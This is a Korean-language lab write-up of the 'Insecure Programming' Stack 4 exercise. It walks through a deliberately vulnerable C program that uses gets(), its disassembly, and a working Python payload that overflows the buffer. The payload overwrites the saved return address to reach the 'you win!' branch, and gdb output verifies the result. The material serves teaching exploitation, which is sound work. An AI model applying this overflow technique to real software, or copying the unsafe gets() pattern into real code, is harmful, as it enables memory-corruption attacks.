Insecure Programming by example
Stack 4
문제의 전체적인 구성은 이전과 동일하지만, cookie
값을 눈여겨볼 필요가 있다. 0x000d0a00에서 0x0d는 CR(Carriage Return), 0x0a는 LF(Line Feed)로 NULL, r, n, NULL과 같은 형태로 구성된다. 하지만 gets()
함수는 EOF
나 개행 문자 삽입 시 해당 문자를 제거하고 입력을 종료하게 되므로 gets()
함수를 통해서 cookie
값을 전달할 수 없다.
#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if(cookie == 0x000d0a00)
printf("you win!\n");
}
이번 문제에서는 검증로직 우회가 불가하므로 printf("you win!\n");
코드를 실행하기 위해서는 해당 코드 주소 직접 호출하는 방식으로 접근해야한다.
objdump
를 이용하여 변수의 구성을 확인하자.
# objdump -d -M intel stack4
...
080483b4 <main>:
80483b4: 55 push ebp
80483b5: 89 e5 mov ebp,esp
80483b7: 83 ec 78 sub esp,0x78
80483ba: 83 e4 f0 and esp,0xfffffff0
80483bd: b8 00 00 00 00 mov eax,0x0
80483c2: 29 c4 sub esp,eax
80483c4: 8d 45 f4 lea eax,[ebp-12]
80483c7: 89 44 24 08 mov DWORD PTR [esp+8],eax
80483cb: 8d 45 98 lea eax,[ebp-104]
80483ce: 89 44 24 04 mov DWORD PTR [esp+4],eax
80483d2: c7 04 24 d4 84 04 08 mov DWORD PTR [esp],0x80484d4
80483d9: e8 f6 fe ff ff call 80482d4 <printf@plt>
80483de: 8d 45 98 lea eax,[ebp-104]
80483e1: 89 04 24 mov DWORD PTR [esp],eax
80483e4: e8 cb fe ff ff call 80482b4 <gets@plt>
80483e9: 81 7d f4 00 0a 0d 00 cmp DWORD PTR [ebp-12],0xd0a00
80483f0: 75 0c jne 80483fe <main+0x4a>
80483f2: c7 04 24 ec 84 04 08 mov DWORD PTR [esp],0x80484ec
80483f9: e8 d6 fe ff ff call 80482d4 <printf@plt>
80483fe: c9 leave
80483ff: c3 ret
...
gets()
함수의 인자 값으로 ebp -104
를 전달하는 것으로 보아 buf
배열의 시작이 ebp - 104
에 위치한 다는 것을 알 수 있다.
buf | ebp | eip | |
---|---|---|---|
Address | 104 | 4 | 4 |
여기서 우리가 호출하고자 하는 명령어 mov DWORD PTR [esp],0x80484ec
의 주소 80483f2
를 eip
에 덮어쓰면 main
함수 에필로그 과정에서 저장된 조작된 eip
주소를 불러와 you win!을 출력하게 될 것이다.
파이썬으로 입력 값을 생성하여 실제 동작되는 지 확인해보자.
# python -c "print 'a'*108+'\xf2\x83\x04\x08'" > stack4_input_r
# cat stack4_input_r | ./stack4
buf: bffff7e0 cookie: bffff83c
you win!
Segmentation fault
(gdb) set disassembly-flavor intel
(gdb) b *main+53
Breakpoint 1 at 0x80483e9
(gdb) r < stack4_input_r
Starting program: /home/iamroot/workspace/stack4 < stack4_input_r
buf: bffff7b0 cookie: bffff80c
Breakpoint 1, 0x080483e9 in main ()
(gdb) info f
Stack level 0, frame at 0xbffff820:
eip = 0x80483e9 in main; saved eip 0x80483f2
Arglist at 0xbffff818, args:
Locals at 0xbffff818, Previous frame's sp is 0xbffff820
Saved registers:
ebp at 0xbffff818, eip at 0xbffff81c
(gdb) disas
Dump of assembler code for function main:
0x080483b4 <main+0>: push ebp
0x080483b5 <main+1>: mov ebp,esp
0x080483b7 <main+3>: sub esp,0x78
0x080483ba <main+6>: and esp,0xfffffff0
0x080483bd <main+9>: mov eax,0x0
0x080483c2 <main+14>: sub esp,eax
0x080483c4 <main+16>: lea eax,[ebp-12]
0x080483c7 <main+19>: mov DWORD PTR [esp+8],eax
0x080483cb <main+23>: lea eax,[ebp-104]
0x080483ce <main+26>: mov DWORD PTR [esp+4],eax
0x080483d2 <main+30>: mov DWORD PTR [esp],0x80484d4
0x080483d9 <main+37>: call 0x80482d4 <printf@plt>
0x080483de <main+42>: lea eax,[ebp-104]
0x080483e1 <main+45>: mov DWORD PTR [esp],eax
0x080483e4 <main+48>: call 0x80482b4 <gets@plt>
0x080483e9 <main+53>: cmp DWORD PTR [ebp-12],0xd0a00
0x080483f0 <main+60>: jne 0x80483fe <main+74>
0x080483f2 <main+62>: mov DWORD PTR [esp],0x80484ec
0x080483f9 <main+69>: call 0x80482d4 <printf@plt>
0x080483fe <main+74>: leave
0x080483ff <main+75>: ret
End of assembler dump.
(gdb) b *main+62
Breakpoint 2 at 0x80483f2
(gdb) c
Continuing.
Breakpoint 2, 0x080483f2 in main ()
(gdb) ni
0x080483f9 in main ()
(gdb) ni
you win!
전체 목록 보기 : Insecure programming
진행 환경 :# cat /proc/version
Linux version 2.6.20-15-generic (root@palmer) (gcc version 4.1.2 (Ubuntu 4.1.2-0ubuntu4)) #2 SMP Sun Apr 15 07:36:31 UTC 2007`